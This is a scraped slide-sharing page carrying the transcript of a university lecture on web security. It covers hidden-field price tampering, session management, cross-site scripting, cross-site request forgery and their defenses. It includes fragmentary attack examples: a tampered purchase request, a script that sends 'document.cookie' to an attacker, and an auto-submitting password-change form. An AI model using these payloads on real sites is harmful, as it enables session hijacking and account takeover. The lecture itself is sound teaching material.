CMSC 414 Computer and Network Security Lecture 19 Jonathan Katz.

Slides:



Advertisements
Similar presentations
PHP Form and File Handling
Advertisements

Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems © 2002, Predictive Systems.
Nick Feamster CS 6262 Spring 2009
Session Management Dan Boneh CS 142 Winter Sessions A sequence of requests and responses from one browser to one (or more) sites Session can be.
HI-TEC 2011 SQL Injection. Client’s Browser HTTP or HTTPS Web Server Apache or IIS HTML Forms CGI Scripts Database SQL Server or Oracle or MySQL ODBC.
Bypassing Client-Side Protection CSE 591 – Security and Vulnerability Analysis Spring 2015 Adam Doupé Arizona State University
©2009 Justin C. Klein Keane PHP Code Auditing Session 5 XSS & XSRF Justin C. Klein Keane
ATTACKING AUTHENTICATION The Web Application Hacker’s Handbook, Ch. 6 Presenter: Jie Huang 10/31/2012.
1 Project 2: Web App Security Collin Jackson CS 155 Spring 2007.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation.
EECS 354 Network Security Cross Site Scripting (XSS)
COMP 321 Week 12. Overview Web Application Security  Authentication  Authorization  Confidentiality Cross-Site Scripting Lab 12-1 Introduction.
CMSC 414 Computer and Network Security Lecture 24 Jonathan Katz.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
It’s always better live. MSDN Events Securing Web Applications Part 1 of 2 Understanding Threats and Attacks.
Lecture 16 Page 1 CS 236 Online Cross-Site Scripting XSS Many sites allow users to upload information –Blogs, photo sharing, Facebook, etc. –Which gets.
Handling Security Threats in Kentico CMS Karol Jarkovsky Sr. Solution Architect Kentico Software
WEB SECURITY WORKSHOP TEXSAW 2013 Presented by Joshua Hammond Prepared by Scott Hand.
Christopher M. Pascucci Basic Structural Concepts of.NET Browser – Server Interaction.
Introduction to InfoSec – Recitation 10 Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il)
DAT602 Database Application Development Lecture 15 Java Server Pages Part 1.
Cookies Cross site scripting
FALL 2005CSI 4118 – UNIVERSITY OF OTTAWA1 Part 4 Web technologies: HTTP, CGI, PHP,Java applets)
Cosc 4765 Server side Web security. Web security issues From Cenzic Vulnerability report
Open Source Server Side Scripting ECA 236 Open Source Server Side Scripting Cookies & Sessions.
Cross-Site Scripting Vulnerabilities Adam Doupé 11/24/2014.
CHAPTER 12 COOKIES AND SESSIONS. INTRO HTTP is a stateless technology Each page rendered by a browser is unrelated to other pages – even if they are from.
C HAPTER 7 Client-State Manipulation Slides adapted from "Foundations of Security: What Every Programmer Needs To Know" by Neil Daswani, Christoph Kern,
Prevent Cross-Site Scripting (XSS) attack
Lets Make our Web Applications Secure. Dipankar Sinha Project Manager Infrastructure and Hosting.
WEB SECURITY WEEK 3 Computer Security Group University of Texas at Dallas.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Lecture 14 – Web Security SFDV3011 – Advanced Web Development 1.
Web Application Access to Databases. Logistics Test 2: May 1 st (24 hours) Extra office hours: Friday 2:30 – 4:00 pm Tuesday May 5 th – you can review.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
JavaScript, Fourth Edition
November 13, 2008 Ohio Information Security Forum Attack Surface of Web Applications James Walden Northern Kentucky University
COMP3121 E-Commerce Technologies Richard Henson University of Worcester November 2011.
Lecture 8 – Cookies & Sessions SFDV3011 – Advanced Web Development 1.
Cross-Site Attacks James Walden Northern Kentucky University.
Web Application Security ECE ECE Internetwork Security What is a Web Application? An application generally comprised of a collection of scripts.
Security Scanners Mark Shtern. Popular attack targets Web – Web platform – Web application Windows OS Mac OS Linux OS Smartphone.
Top Five Web Application Vulnerabilities Vebjørn Moen Selmersenteret/NoWires.org Norsk Kryptoseminar Trondheim
Foundations of Network and Computer Security J J ohn Black CSCI 6268/TLEN 5550, Spring 2013.
CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Web Security.
STATE MANAGEMENT.  Web Applications are based on stateless HTTP protocol which does not retain any information about user requests  The concept of state.
By Sean Rose and Erik Hazzard.  SQL Injection is a technique that exploits security weaknesses of the database layer of an application in order to gain.
Java server pages. A JSP file basically contains HTML, but with embedded JSP tags with snippets of Java code inside them. A JSP file basically contains.
Crash Course in Web Hacking
Cookies and Sessions IDIA 618 Fall 2014 Bridget M. Blodgett.
Presented By: Chandra Kollipara. Cross-Site Scripting: Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
Cross-site request forgery Collin Jackson CS 142 Winter 2009.
1 State and Session Management HTTP is a stateless protocol – it has no memory of prior connections and cannot distinguish one request from another. The.
Module: Software Engineering of Web Applications Chapter 3 (Cont.): user-input-validation testing of web applications 1.
Session Management Tyler Moore CS7403 University of Tulsa Slides adapted in part or whole from Dan Boneh, Stanford CS155 1.
1 PHP HTTP After this lecture, you should be able to know: How to create and process web forms with HTML and PHP. How to create and process web forms with.
Session 11: Cookies, Sessions ans Security iNET Academy Open Source Web Development.
By Collin Donaldson. Hacking is only legal under the following circumstances: 1.You hack (penetration test) a device/network you own. 2.You gain explicit,
Carrie Estes Collin Donaldson.  Zero day attacks  “zero day”  Web application attacks  Signing up for a class  Hardening the web server  Enhancing.
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
Web Security (cont.) 1. Referral issues r HTTP referer (originally referrer) – HTTP header that designates calling resource  Page on which a link is.
CSCE 548 Student Presentation Ryan Labrador
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
CSC 482/582: Computer Security
CSC 495/583 Topics of Software Security Intro to Web Security
Lecture 2 - SQL Injection
Exploring DOM-Based Cross Site Attacks
Cross Site Request Forgery (CSRF)
Presentation transcript:

CMSC 414 Computer and Network Security Lecture 19 Jonathan Katz

HW3  Out last Thursday –See webpage

Web security

Context…  In the last two lectures we have seen examples of attacks due to insufficient input validation –Buffer overflows –SQL injection attacks  We continue to look at more attacks in this vein –Client state manipulation in web requests Hidden form variables or parameters in HTTP requests Cookie manipulation

Context  We will also see cross-domain attacks that involve three parties – the attacker and an honest client/server –Cross-site scripting (XSS) –Cross-site request forgery (XSRF)

Common source of flaws  HTTP is stateless –State – whether per-session or across sessions, is often stored at the client side –State is echoed back by client in future requests –This state is subject to manipulation!

Example web application I  order.html – order form allowing user to select number of pizzas and enter credit card info  confirm_order – script that processes the user’s order, and generates an HTML form to be sent back to the client for verification –Price encoded as hidden form field Pay The total cost is $5.50. Confirm order?

Example web application II  When the user clicks, the browser issues an HTTP request like GET /submit_order?price=5.50&pay=yes HTTP/1.0  The user’s submitted request is processed by a back-end credit card payment gateway if (pay = yes) { bill_creditcard(price); deliver_pizza(); } else display_transaction_cancelled_page();

In pictures… Web Server Web Browser (Client) Credit Card Payment Gateway Order 1 Pizza Confirm $5.50 Submit Order $5.50 Attacker will modify Price Stored in Hidden Form Variable submit_order?price=5.50

Carrying out the attack  Attacker orders pizza, gets order confirmation HTML page

Carrying out the attack  Attacker can view the page source  And modify it!  When form submitted, it generates the request GET /submit_order?price=0.01&pay=yes HTTP/1.0 Pay The total cost is $5.50. Confirm order? Pay The total cost is $5.50. Confirm order?

Notes  Even though the price variable is “hidden”, the client can find it in the HTML source in the clear  Nothing prevents modification of the pre- populated values!  Using POST instead of GET has the same vulnerability  Streamline the attack using HTTP-generation tools –curl, Wget

Solution 1  Store state on the server –Server creates a session-id for each session, and stores a table mapping session-ids to state –Session-id sent to client, who re-sends it in its requests Pay The total cost is $5.50. Confirm order?

Solution 1  HTTP request now looks like GET /submit_order?sid= &pay=yes HTTP/1.0  Back-end processing must change:  Database lookup on each request – possible DoS price = lookup(sid); if (pay = yes && price != NULL) { bill_creditcard(price); deliver_pizza(); } else display_transaction_cancelled_page();

Notes  Session ids must be hard to guess! –Randomly chosen –Sufficiently long  Time out session ids  Delete session ids once session ends

Solution 2  Authenticate client-side state  Server verifies state sent by the client  What is the right cryptographic tool here?

Solution 2 in detail  Server stores random, secret key k  confirm_order generates HTML like where tag = MAC k (quantity # price) Pay The total cost is $5.50. Confirm order? What if this were missing?

(A side note)  Note that this gives the attacker a lot of control over what strings will be authenticated by the server…  Note that there are lots of forgeries that would be damaging for the server –Anything where the price is changed  Good thing our definition of security for MACs was so strong!

Cross-domain security issues

 Security vulnerabilities that arise due to interactions between two different domains –Malicious script (pointing to different domain) inserted into webpage served by legitimate domain –User accessing page from legitimate domain and page from malicious domain at the same time  For the purposes of this lecture, freely assume the attacker can get a user to access any URL of the attacker’s choice –Phishing, embedded links/ads/scripts/iframes, …

Same-origin policy  Scripts embedded in a page can –Read/modify the contents of that page –Read cookies associated with that page –Receive/respond to events (mouse clicks)  Same-origin policy: scripts can only access properties associated with documents from the same origin as the document containing the script –Origin defined by protocol+hostname+port (not document path) –Http and https are different protocols

Cross-domain interactions  Links from malicious page to legitimate page –Nothing can prevent this! –Can be a link (that the user has to click) or an iframe (that automatically loads the legitimate page, without the user noticing) –In latter case, same-origin policy prevents script on malicious page from reading data on legitimate page –But in malicious page would cause legitimate script to run in context of malicious page! More later

Cross-domain interactions  Links from malicious page to legitimate page –Malicious page can also initiate a POST request to legitimate page, with arbitrary parameters –We have already seen some of the problems that can arise here  Due to the way web authentication is usually handled (i.e., using a cached credential), any http requests will look as if they come from the legitimate user

Cross-domain interactions  These problems are arising more and more due to increased ad placement  Moreover, ads are often redirected multiple times (even by legitimate businesses)

Cached credentials  Often done via cookies –E.g., following password login, server issues a cookie (containing a session-id) to the client –Cookie transmitted to server with each request  Persistent cookies saved to disk  Non-persistent cookies cached until browser shut down, or user explicitly logs out –Same cookie state reflected in all currently open windows –Cookie state does not change if window closed –Timeouts can be added to cookies

Cross-site scripting (XSS)  Can occur whenever an attacker can influence a script executed at a legitimate host, e.g.: –Dynamically generated pages (errors, other) –E.g., –What happens if the attacker sends

Exploits using XSS user logs in malicious URL user clicks… malicious code run credential sent to attacker hijack session var+i =new+Image;+i.src=“ %2bdocument.cookie; var i=new Image; i.src=“ +document.cookie;

Key points…  Same-origin policy is respected –The attacker’s script was running in the context of good.com, so it was able to access the cookie  Phishing likely to succeed –Users only notice that the link is to  Using https does nothing to prevent this attack…

Stored XSS vulnerabilities  Occurs when data submitted by a user is stored and later displayed to other users –Comment on blog post –Wiki –Web-based –Facebook, MySpace Samy worm

Exploits using XSS user logs in malicious code run credential sent to attacker post malicious code

Notes…  No need for phishing any more!  Guaranteed that user is logged in when they run the malicious script –(In previous case, user may not be logged in when the click the attacker-generated URL)

Payloads for XSS attacks  Hijack session credentials  Site defacement –E.g.,  Injecting trojan functionality –To obtain, e.g., credit card info  Perform actions on behalf of authenticated users –In an automated fashion! –Without leaving trace of IP address!  More…

Cross-domain interactions  Recall… – in malicious page would cause legitimate script to run in context of malicious page! –Malicious page can initiate a POST request to legitimate page, with arbitrary parameters –Due to the way web authentication is handled (i.e., using a cached credential), http requests will look as if they come from the legitimate user

Cross-site request forgery (XSRF) 1. Alice’s browser loads page from bad.com 2. Script runs causing evilform to be submitted with a password-change request by loading with attacker-specified field 3. Browser sends authentication cookies to good server. Her password is changed to badpwd ! <form method="POST" name="evilform" target="hiddenframe" action=" document.evilform.submit(); evilform

Notes  Due to same-origin policy, bad.com does not have access to any data associated with good.com  When bad.com page loaded, it executes script which causes POST request to good.com with attacker- specified parameters –Browser sends all cookies for good.com along with this request!  Malicious page cannot read user’s data, but can write to user’s account

Notes  Can be viewed as failure of principle of complete mediation –User should be required to re-authenticate before changing their password

Potential XSRF vulnerabilities  Anywhere a client can change server-side state –Facebook profiles –Financial sites –Calendars, etc.

Defenses

Inspect referrer headers  HTTP protocol specifies a header indicating the URL of the document from which current request originated  So good.com can try to prevent XSRF attacks by ignoring POST requests if the referrer is not good.com  However… –Referrer fields can be absent for legitimate reasons (e.g., new window; stripped by proxies)

Complete mediation  Prevent XSRF attacks by requiring user re- authentication  Not practical to do this all the time –User will be come frustrated!  Can require for ‘high-value’ transactions

“Action tokens”  Prevent XSRF attacks by allowing the legitimate server to distinguish links from ‘fresh’ pages it serves, from links embedded in attacker pages  Add authenticated “action token” as hidden field in pages served; check token upon POST request  Simple idea: embed nonce, MAC k (nonce) to page –Why doesn’t this work?

“Action tokens”  Need a way to bind token to session –At beginning of session, send cookie with random session-id to user –Compute MAC over the URL and the cookie; note that cookie will be sent in any subsequent requests  This is potentially vulnerable to XSS attacks –Attacker injects script that steals user’s cookie and token

Preventing XSS  Input validation –Suppress/escape, “, etc, … at time they are input by a user  Drawbacks –Sometimes these characters may be legitimate –Input validation applied at the ‘outer boundary’, but not to data received from ‘back-end’

Preventing XSS  Output sanitization –Sanitize strings at the time they are embedded into an HTML document  Apply in tandem with input sanitization!

Preventing XSS  Very difficult (impossible?) to get sanitization right  Several sanitizers exist… –…and several exploits of them are known  Better to err on the conservative side

Preventing XSS  Some work done on preventing XSS attacks at the browser level –Browser plug-in –Browser itself (e.g., google chrome)  E.g., Internet Explorer allows “HTTP-only” cookies –Sent only to the issuing server –Not yet perfected…  Binding cookies to the IP address –Preventing session hijacking, but not other XSS attacks